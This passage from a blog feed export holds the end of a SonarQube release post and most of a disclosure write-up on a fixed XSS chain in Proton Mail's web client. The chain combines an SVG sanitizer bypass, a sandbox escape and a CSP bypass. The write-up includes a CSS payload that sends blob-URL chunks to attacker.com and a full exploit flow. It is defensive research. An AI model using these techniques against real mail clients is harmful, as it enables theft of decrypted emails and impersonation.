&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Set of 9 new rules for DateTime&lt;/li&gt;&lt;li&gt;Almost all developers use date and times in their applications and their misuse is one of the most common bugs particularly when timezones are involved. &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;AcuCOBOL&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Improved support for AcuCOBOL &lt;/li&gt;&lt;li&gt;Parser and Preprocessor improvements&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Next Steps&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/&quot;&gt;SonarQube 10.2&lt;/a&gt; represents an advancement in simplifying, securing, and accelerating your code quality journey. To fully capitalize on these cutting-edge features, we warmly invite you to download SonarQube 10.2 and share your invaluable feedback with us.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/sonarqube-10-1-release/&quot;&gt;SonarQube 10.1 release announcement&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/announcing-sonarqube-10-0/&quot;&gt;Announcing SonarQube 10.0&lt;/a&gt;  &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/sonarqube-9-9-lts/&quot;&gt;Announcing SonarQube 9.9 LTS!&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Code Vulnerabilities Put Proton Mails at Risk]]></title><description><![CDATA[The Sonar Research team discovered critical code vulnerabilities in Proton Mail, Skiff and Tutanota. This post covers the technical details of the XSS vulnerability in Proton Mail.]]></description><link>https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail</link><guid isPermaLink="false">e3c6f029-eed3-5365-be8f-ec51b9fa51f0</guid><dc:creator><![CDATA[Paul Gerste]]></dc:creator><pubDate>Mon, 04 Sep 2023 22:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Key Information&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;In June 2022, the Sonar Research team discovered critical code vulnerabilities in multiple encrypted email solutions, including Proton Mail, Skiff, and Tutanota.&lt;/li&gt;&lt;li&gt;These privacy-oriented webmail services provide end-to-end encryption, making communications safe in transit and at rest. Our findings affect their web clients, where the messages are decrypted, mobile clients were not affected.&lt;/li&gt;&lt;li&gt;The vulnerabilities would have allowed attackers to steal emails and impersonate victims if they interacted with malicious messages.&lt;/li&gt;&lt;li&gt;Nearly 70 million users were at risk on Proton Mail alone.&lt;/li&gt;&lt;li&gt;Thanks to our report, the issue has been fixed and there are no signs of in-the-wild exploitation.&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Introduction&lt;/h2&gt;&lt;p&gt;End-to-end encrypted communication is simply a feel-good thing for most people, but there are also high-risk users such as whistleblowers, journalists, or activists who seriously depend on confidential communication. We&amp;#x27;re seeing regular in-the-wild campaigns targeting mail servers, for example on Zimbra instances, &lt;a href=&quot;https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-228a&quot;&gt;as tracked by the US Cybersecurity and Infrastructure Security Agency (CISA)&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Many messenger services have already switched to end-to-end encryption (E2EE) to protect messages in transit and at rest, but it is still rare among email services. While PGP and S/MIME do exist, they are usually cumbersome to set up and use, even for tech-savvy users. That&amp;#x27;s why many people turn to privacy-oriented webmail services like &lt;a href=&quot;https://proton.me/mail&quot;&gt;Proton Mail&lt;/a&gt;, &lt;a href=&quot;https://skiff.com/mail&quot;&gt;Skiff&lt;/a&gt;, and &lt;a href=&quot;https://tutanota.com/&quot;&gt;Tutanota&lt;/a&gt; that make E2EE available out-of-the-box and easy to use.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This led us to audit the security of these services, specifically their web clients. While the cryptography seems solid, we wanted to know if it is possible to attack the clients directly. Since the encryption happens in the web client, a successful attacker would be able to steal emails in their decrypted form.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post, we first present the technical details of the vulnerabilities we found in Proton Mail. We show how an innocent-looking piece of code led to a Cross-Site Scripting issue that made it possible for attackers to steal decrypted emails and impersonate victims.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As part of a 3-post series, we will cover other severe vulnerabilities we found in Skiff and Tutanota Desktop in the coming weeks. Those vulnerabilities could have been used by attackers to steal emails, and in one case even execute arbitrary code on the machines of victims. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The content of this blog post series was also presented as a talk at &lt;a href=&quot;https://www.blackhat.com/asia-23/briefings/schedule/#stealing-with-style-using-css-to-exploit-protonmail--friends-31697&quot;&gt;Black Hat Asia 2023&lt;/a&gt;; the video recording is available &lt;a href=&quot;https://www.youtube.com/watch?v=pnbZMvCPqSc&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;The Sonar Research team discovered a Cross-Site Scripting vulnerability in the open-source code of Proton Mail. This issue allowed attackers to steal decrypted emails and impersonate their victims, bypassing the end-to-end encryption.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Attackers have to send two emails, both of which have to be viewed by the victim. In some scenarios, the attack would succeed if the victim only viewed the emails. However, most scenarios require the victim to click on a link in the second email.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We responsibly disclosed the vulnerabilities to the vendor in June 2022, and they were fixed shortly after. The following proof-of-concept shows how the vulnerability could have been exploited by attackers:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/OCBqtypjNaw&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;Dealing with user-controlled HTML in a web application always opens up the risk of Cross-Site Scripting (XSS). While senders may want to style their message and include images, other HTML tags like &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; may have unwanted effects and compromise the security of the reader. This is already dangerous for regular webmail services, where anybody could send a malicious email to a user just by knowing their email address.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is even more dangerous for end-to-end encrypted and privacy-oriented web mailers, where users put much more trust into the service. If an attacker is able to execute arbitrary JavaScript in the context of such an application, they could potentially steal decrypted emails and private keys, deanonymize users, and impersonate victims.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To avoid all this, web mailers put a lot of effort into ensuring no malicious HTML can get through. Most of them use state-of-the-art HTML sanitizers, such as &lt;a href=&quot;https://github.com/cure53/DOMPurify&quot;&gt;DOMPurify&lt;/a&gt;, to get rid of any malicious HTML. This is a very good first step, but even the sanitized data is so fragile that subtle mistakes in handling it can jeopardize the security of the whole application.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the following sections, we will explain the code vulnerability we found in Proton Mail. We will also highlight the importance of modern web defense mechanisms, how they make attackers&amp;#x27; lives harder, and how they can still be bypassed when the right conditions align. Finally, we examine how these issues were fixed, and how to avoid such vulnerabilities in your own code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Buckle up for a story about parser differentials, sandbox bypasses, and CSS data exfiltration!&lt;/strong&gt;&lt;/p&gt;&lt;h3&gt;Proton Mail&lt;/h3&gt;&lt;p&gt;Proton Mail is probably the most popular privacy-oriented webmail service with &lt;a href=&quot;https://www.wired.com/story/proton-mail-calendar-drive-vpn/#:~:text=nearly%2070%20million%20users&quot;&gt;nearly 70 million users in 2022&lt;/a&gt;. They use the state-of-the-art HTML sanitizer DOMPurify to avoid XSS when rendering incoming emails, and they also employ further defenses that aim to make exploitation harder in case the sanitizer fails.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When auditing the email HTML sanitization logic, we noticed the following code snippet that runs on the already-sanitized data. It looks innocent at first sight but contains a critical flaw:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/ProtonMail/WebClients/blob/156904928c87388ee9a08a08821f5390fe71eab1/packages/shared/lib/sanitize/purify.ts#L58-L80&quot;&gt;packages/shared/lib/sanitize/purify.ts&lt;/a&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const LIST_PROTON_TAG = [&apos;svg&apos;];
// [...]
const sanitizeElements = (document: Element) =&gt; {
    LIST_PROTON_TAG.forEach((tagName) =&gt; {
        const svgs = document.querySelectorAll(tagName);
        svgs.forEach((element) =&gt; {
            const newElement = element.ownerDocument.createElement(`proton-${tagName}`);
            // [...]
            element.parentElement?.replaceChild(newElement, element);
        });
    });
};&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This code is intended to replace &lt;code&gt;&amp;lt;svg&amp;gt;&lt;/code&gt; elements in an email with &lt;code&gt;&amp;lt;proton-svg&amp;gt;&lt;/code&gt; ones. It does so by creating a new element, moving all children, and then replacing the old element. Since the content or attributes of those elements are not modified, how could this be security-relevant? To understand this, we first need to learn about &lt;em&gt;Foreign Content&lt;/em&gt; in HTML.&lt;/p&gt;&lt;h3&gt;An HTML Sanitizer&amp;#x27;s Nightmare: Foreign Content&lt;/h3&gt;&lt;p&gt;HTML has its own parsing rules, and it can contain things with different parsing rules, such as &lt;a href=&quot;https://www.w3.org/TR/mathml4/&quot;&gt;MathML&lt;/a&gt; and &lt;a href=&quot;https://www.w3.org/TR/SVG2/&quot;&gt;SVG&lt;/a&gt;. These look similar to HTML, as they are also derived from XML, but there are some key differences in how they have to be parsed that are important for a sanitizer to know.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One example of differences between HTML and SVG is the &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; element. In HTML, this element contains raw text until the next closing &lt;code&gt;&amp;lt;/style&amp;gt;&lt;/code&gt; tag. In SVG, it instead contains child elements. When a sanitizer runs with the wrong context in mind, it would likely make the wrong decisions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is exactly what happened in the case of Proton Mail. The sanitizer first sees an SVG element and sanitizes its children with the SVG context in mind. After that, the outer &lt;code&gt;&amp;lt;svg&amp;gt;&lt;/code&gt; tag is renamed to &lt;code&gt;&amp;lt;proton-svg&amp;gt;&lt;/code&gt;. Since this is not a standard HTML or SVG tag, it falls back into the HTML context. This causes the browser to parse the result differently than during the sanitization!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Attackers could abuse this parser differential with the following payload:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/256079e9-1948-4296-9d2e-542590e7f65e/proton-html-after-sanitizer.png&quot; /&gt;&lt;p&gt;The sanitizer will correctly recognize the SVG context and parse the content of the &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; element as an &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; element. The byte sequence &lt;code&gt;&amp;lt;/style&amp;gt;&lt;/code&gt; is hidden inside the &lt;code&gt;alt&lt;/code&gt; tag of the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; element and does not close the &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; element. Since the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag is also hidden inside the attribute, the sanitizer does not remove the &lt;code&gt;onerror&lt;/code&gt; event handler.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When renaming the &lt;code&gt;&amp;lt;svg&amp;gt;&lt;/code&gt; element to &lt;code&gt;&amp;lt;proton-svg&amp;gt;&lt;/code&gt;, the parsing result looks like this:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/2ee92b2f-4f87-4d91-93c9-f5cf8aed4b48/proton-html-after-modification.png&quot; /&gt;&lt;p&gt;Since the &lt;code&gt;&amp;lt;proton-svg&amp;gt;&lt;/code&gt; element belongs to the HTML context, as explained earlier, the parsing rules for the &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; element changed. Its content is now parsed as raw text and the very first occurrence of the byte sequence &lt;code&gt;&amp;lt;/style&amp;gt;&lt;/code&gt; terminates the element. This causes the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; element to appear, which in turn executes the &lt;code&gt;onerror&lt;/code&gt; handler during rendering. The sanitizer is bypassed!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Fortunately, this does not directly allow attackers to execute arbitrary JavaScript (yet). Proton Mail has multiple lines of defense with the sanitizer just being the first one.&lt;/p&gt;&lt;h3&gt;Second Line of Defense: Iframe Sandbox&lt;/h3&gt;&lt;p&gt;The next protection is an &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; element with a &lt;code&gt;sandbox&lt;/code&gt; attribute. After sanitizing an email&amp;#x27;s HTML, the result is not directly inserted into the DOM of the Proton Mail page itself but into the DOM of an iframe. This has the first effect that things like CSS styles in the email don&amp;#x27;t have an effect on Proton Mail&amp;#x27;s UI. This makes the content of the iframe (marked in red) isolated from the rest of the page:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/8f3067e8-e528-41bb-b551-d35de19d7830/Proton%20Mail_%20Iframe.png&quot; /&gt;&lt;p&gt;Another benefit is the ability to restrict what the page inside the iframe can do by providing an allowlist in the &lt;code&gt;sandbox&lt;/code&gt; attribute. In the case of Proton Mail, the iframe sandbox has the following directives:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;allow-same-origin&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;allow-popups&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;allow-popups-to-escape-sandbox&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The first one allows the embedding page to be able to insert HTML into the iframe, but it also enables the reverse way. The second directive allows popups and new tabs to open; for example, when a user clicks on a link. The third directive allows the newly opened page to not be restricted by the iframe sandbox because the sandbox would usually be inherited by the new page.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, Proton Mail adds a fourth directive when opened in the Safari browser. In this case, the &lt;code&gt;allow-scripts&lt;/code&gt; directive is added to the allowlist, which means an attacker does not need to bypass the sandbox at all because they can just execute JavaScript and access the top frame.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For all other browsers, the attacker has to convince the victim to click on a link that opens in a new tab, therefore escaping the sandbox and being able to access the opener&amp;#x27;s parent frame:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/16e01076-c9fc-401c-84bf-45220c610d92/Proton%20Mail_%20Iframe%20Sandbox%20Bypass.png&quot; /&gt;&lt;h3&gt;Third Line of Defense: Content Security Policy&lt;/h3&gt;&lt;p&gt;The final defense mechanism is Proton Mail&amp;#x27;s Content Security Policy (CSP). It restricts the origins from where all kinds of resources can be loaded, including scripts, images, and styles. The important CSP directives, in this case, are:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;default-src &amp;#x27;self&amp;#x27;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;style-src &amp;#x27;unsafe-inline&amp;#x27;&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;img-src https:&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;script-src blob:&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The first directive acts as a fallback and only allows resources to come from the origin that the page was loaded from unless specified otherwise. The next two directives allow inline CSS styles and images that are loaded via HTTPS which is normal for HTML emails. The last directive allows scripts to be loaded from &lt;code&gt;blob:&lt;/code&gt; URLs. This is pretty unusual and will be the key to bypassing the CSP.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s take a quick look at what blob URLs are. They are temporary URLs that can be dynamically created by any page and they look like this:&lt;br/&gt;&lt;code&gt;blob:https://mail.proton.me/8c2a19fa-8dcd-44d1-807c-1c65abef0251&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After the &lt;code&gt;blob:&lt;/code&gt; schema, it starts with the origin of the page that created it while the path of the URL is a random UUID. To create a blob URL, the page has to specify the content type and content that will be returned when the browser tries to fetch it. Pages can either actively revoke blob URLs, but they also get revoked when a page is closed or reloaded.&lt;/p&gt;&lt;h3&gt;Crafting Arbitrary Blob URLs&lt;/h3&gt;&lt;p&gt;In the case of Proton Mail, blob URLs are used to render inline attachments, such as images. In general, such attachments each have their own &lt;code&gt;Content-ID&lt;/code&gt; header with a value that uniquely identifies them in the context of the email. Those attachments can then be referenced using &lt;code&gt;cid:&lt;/code&gt; URLs, for example in the &lt;code&gt;src&lt;/code&gt; attribute of &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When an email contains image tags with such a &lt;code&gt;cid:&lt;/code&gt; source, Proton Mail will look for an attachment that has a matching &lt;code&gt;Content-ID&lt;/code&gt; header. A blob URL will be created with the attachment&amp;#x27;s data and content type, and the image&amp;#x27;s &lt;code&gt;src&lt;/code&gt; attribute will be replaced with the newly created blob URL.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We noticed that Proton Mail allows arbitrary content types and content for inline attachments. This would allow an attacker to send a JavaScript attachment instead of an image and reference it as an &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; element&amp;#x27;s source, triggering the creation of a blob URL that contains JavaScript and has the &lt;code&gt;application/javascript&lt;/code&gt; content type.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This inline image-loading mechanism can be abused by attackers to craft arbitrary blob URLs and load them as scripts to bypass the CSP. The only challenge left is how to take the created blob URL from an image tag&amp;#x27;s &lt;code&gt;src&lt;/code&gt; attribute and use it as a script tag&amp;#x27;s &lt;code&gt;src&lt;/code&gt; attribute.&lt;/p&gt;&lt;h3&gt;Leaking a Blob URL&lt;/h3&gt;&lt;p&gt;This is where the inline styles and remote images that the CSP allows come into play. There has been previous work on how to leak data, such as attribute values and text, from the DOM via CSS. One such method, discovered by &lt;a href=&quot;https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231&quot;&gt;Pepe Vila&lt;/a&gt; and &lt;a href=&quot;https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b&quot;&gt;Nathanial Lattimer&lt;/a&gt;, uses recursive CSS &lt;code&gt;@import&lt;/code&gt; statements. Unfortunately, this and other techniques don&amp;#x27;t apply here because the CSP does not allow styles or fonts to be loaded from remote servers.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since the value that needs to be leaked is a blob URL, we can make a few assumptions that simplify the process. Since the origin is always &lt;code&gt;https://mail.proton.me&lt;/code&gt;, the beginning of the URL is known to be &lt;code&gt;blob:https://mail.proton.me/&lt;/code&gt;. This only leaves the UUID, consisting of hexadecimal characters and dashes, reducing the possibilities per character to 17.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For the &lt;code&gt;@import&lt;/code&gt; leak technique, the CSS attribute prefix selector is used to leak an attribute value incrementally. Since the CSP blocks remote CSS imports, taking this incremental approach is impossible. One alternative would be to create selectors for all possible attribute values, but this is not feasible due to the number of possible values being 2&lt;sup&gt;122&lt;/sup&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, there is also another CSS attribute selector that can be helpful; the &amp;quot;contains&amp;quot; operator. It can be used to check if an attribute value contains a certain substring. With this, we can create a similar technique to the &lt;code&gt;@import&lt;/code&gt; leak, but instead of taking an incremental approach, we leak multiple parts in parallel.&lt;/p&gt;&lt;h4&gt;Splitting the URL Into Smaller Chunks&lt;/h4&gt;&lt;p&gt;To do this, we have to split the value we want to leak into smaller chunks that have fewer possible values. In our case, we will not leak a whole UUID at once but instead leak all 3-character substrings in parallel. We first calculate all valid 3-character substrings of a UUID, starting with &lt;code&gt;000&lt;/code&gt;, over &lt;code&gt;0-0&lt;/code&gt;, up until &lt;code&gt;fff&lt;/code&gt;. We then create a CSS selector for each of them that will tell us if this substring is included in the current UUID we want to leak. When the CSS selector matches, we request a background image from the attacker server with a unique URL.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Here&amp;#x27;s an example of how a blob URL would be split into its overlapping, 3-character chunks:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6b6ee711-b752-4d79-99cd-e91325503c23/Proton%20Mail_%20Chunked%20Blob%20URL.png&quot; /&gt;&lt;p&gt;This way, the attacker server will know all the different chunks that the UUID consists of, but not their order. To reconstruct the correct UUID, the server has to stitch it back together by starting with one chunk and finding an overlapping one.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Starting with the chunk &lt;code&gt;8c2&lt;/code&gt;, the attacker would look for any chunk starting with &lt;code&gt;c2&lt;/code&gt;, finding the chunk &lt;code&gt;c2a&lt;/code&gt;. From there they would look for a chunk starting with &lt;code&gt;2a&lt;/code&gt;, and so on. In the end, the full blob UUID should be reconstructed, unless there are multiple chunks that start with the same two characters.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The curious reader might wonder why we chose 3-character chunks in favor of other lengths. We found 3 to be the sweet spot between CSS size and probability of collisions, with the CSS being about 100 KB in size and the chance for a collision being below 1%.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If we made each chunk only 2 characters, we would reduce the CSS size but drastically increase the chance that a chunk has multiple possible successors because the overlap between chunks is only 1 character. Going for longer chunks would reduce this possibility, but the amount of CSS selectors would grow exponentially. The following graphic shows the trade-off between CSS size and collision probability on logarithmic scales:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/3c630af8-13c5-432d-84ba-c38143d33b4c/chart.png&quot; /&gt;&lt;p&gt;Now that we have a strategy to leak the blob URL, we need to implement it in CSS. This is where we encounter a problem: we cannot set multiple background images for the element we want to leak an attribute of because they would override each other.&lt;/p&gt;&lt;h4&gt;Multiple Requests Per Element: cross-fade()&lt;/h4&gt;&lt;p&gt;The solution is to look for a way to assign an arbitrary amount of background images to a single element so they would all be fetched by the browser. After many hours of reading the CSS spec, we found the &lt;code&gt;cross-fade()&lt;/code&gt; CSS function. This function takes two images and a percentage as arguments and then returns an image resulting from overlaying both images. The image arguments can be specified as &lt;code&gt;url()&lt;/code&gt;s, but they could also result from another call to the &lt;code&gt;cross-fade()&lt;/code&gt; function! This means that we can nest an arbitrary amount of &lt;code&gt;cross-fade()&lt;/code&gt; calls, forcing the browser to request all &lt;code&gt;url()&lt;/code&gt;s that are used at the bottom of that nesting tree.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following example shows what this nesting tree looks like. The browser has to load the images &lt;code&gt;a.jpg&lt;/code&gt; and &lt;code&gt;b.jpg&lt;/code&gt; before creating the resulting cross-faded image. The browser also has to load &lt;code&gt;c.jpg&lt;/code&gt; before it can cross-fade it with the result of the other operation. The final result is a single image that can be assigned as an element&amp;#x27;s background image:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;img {
    background-image: cross-fade(
        cross-fade(url(&apos;a.jpg&apos;), url(&apos;b.jpg&apos;), 50%),
        url(&apos;c.jpg&apos;),
        50%
    );
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With all hurdles resolved, the final CSS payload to leak a blob URL looks like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;img[src*=&quot;abc&quot;] { --abc: url(&quot;//attacker.com/abc&quot;) }
img[src*=&quot;bcd&quot;] { --bcd: url(&quot;//attacker.com/bcd&quot;) }
/* ... */

img {
    background-image: cross-fade(
        cross-fade(var(--abc, none), var(--bcd, none), 50%),
        cross-fade(/* ... */),
        50%
    );
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The first part consists of all the chunk selectors that would match when a specific substring is present in the UUID. Each of them sets a CSS variable to the URL that the browser should fetch to signal the attacker server that this selector matched.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The final selector is the one that includes all of these CSS variables in a big nested tree of &lt;code&gt;cross-fade()&lt;/code&gt; calls. When the browser tries to render this last selector, it has to check each variable used. For all the variables set, the browser has to fetch the referenced URL to use the result to create the final crossfaded image.&lt;/p&gt;&lt;p&gt;All of the CSS variables that are not set are being treated as their fallback value &lt;code&gt;none&lt;/code&gt;, so the browser will not request anything. This is what the leak looks like in the browser&amp;#x27;s network tab:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/348a700f-5020-4037-8695-14a5c824cffe/proton-leak-hd.gif&quot; /&gt;&lt;p&gt;After the attacker server receives the chunks, it reconstructs the blob URL and sends a second email to the victim. This time, the email contains a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag that uses the blob URL as its &lt;code&gt;src&lt;/code&gt;, as well as a link that opens the blob URL in a new tab. The script tag will be enough for victims using Safari, as no iframe sandbox bypass is needed. Other victims will have to click on the link, which will open the link in a new tab and therefore bypass the iframe sandbox due to the &lt;code&gt;allow-popups-to-escape-sandbox&lt;/code&gt; directive.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once the JavaScript payload is executed, it can directly access the top windows where the Proton Mail app is running. Attackers can use this access to steal all emails in their decrypted form, send emails in the name of the victim, and potentially even steal the victim&amp;#x27;s cryptographic keys.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The whole exploit flow is summarized again here:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1. The attacker sends the stage 1 email that contains the following:
    a. The sanitizer bypass to be able to use arbitrary elements
    b. An attachment that is a JavaScript file and has the &quot;application/javascript&quot; content type. Its content is the malicious JavaScript payload that will be executed later.
    c. An &quot;&lt;img&gt;&quot; element that references the attachment as its &quot;src&quot; attribute
    d. The CSS that can leak a blob URL to the attacker&apos;s server
2. The victim receives and opens the email
3. To render the email, the Proton Mail web client does the following:
    a. Create a blob URL from the attachment and set it as the &quot;&lt;img&gt;&quot; element&apos;s &quot;src&quot; attribute
    b. Render the email&apos;s HTML in an iframe
4. The CSS included in the email now causes the browser to make requests to the attacker server, leaking the 3-character chunks of the blob URL
5. The attacker server reconstructs the blob URL from the chunks
6. The attacker server automatically sends the stage 2 email to the victim that contains the following:
    a. The sanitizer bypass to be able to use arbitrary elements
    b. A &quot;&lt;script&gt;&quot; element with the reconstructed blob URL as its &quot;src&quot; attribute
7. The victim receives the follow-up email and opens it
8. The attacker-controlled JavaScript payload gets executed. It can steal decrypted emails and impersonate the victim by signing and sending emails.&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;Since the code vulnerabilities we found led to a serious impact, let&amp;#x27;s find out how they were fixed and how they can be avoided in your own code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Proton Mail chose to fix the vulnerable behavior by simply removing SVG support altogether. This is a solid approach if you can afford to lose the functionality. It does not only get rid of the specific vulnerability that arose due to the element renaming, but it also reduces the attack surface for the future. Since foreign content is a major source of sanitizer bypasses, it is a great hardening step to prevent MathML and SVG from being used.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To avoid these kinds of sanitizer bypasses in general, we have a few recommendations:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Never modify data after sanitizing it. This is not specific to HTML but to any data that needs to be sanitized. The more complex the data structure, the more dangerous it becomes to modify it after sanitization.&lt;/li&gt;&lt;li&gt;If possible, don&amp;#x27;t re-parse HTML after sanitizing it. In the case of DOMPurify, you can opt-in to get back the sanitized DOM tree instead of a string. If you directly insert this tree into the page&amp;#x27;s DOM, the browser will not mutate its contents, leaving less opportunity for mXSS.&lt;/li&gt;&lt;li&gt;Use state-of-the-art sanitizers. This can be &lt;a href=&quot;https://github.com/cure53/DOMPurify&quot;&gt;DOMPurify&lt;/a&gt;, but also the upcoming &lt;a 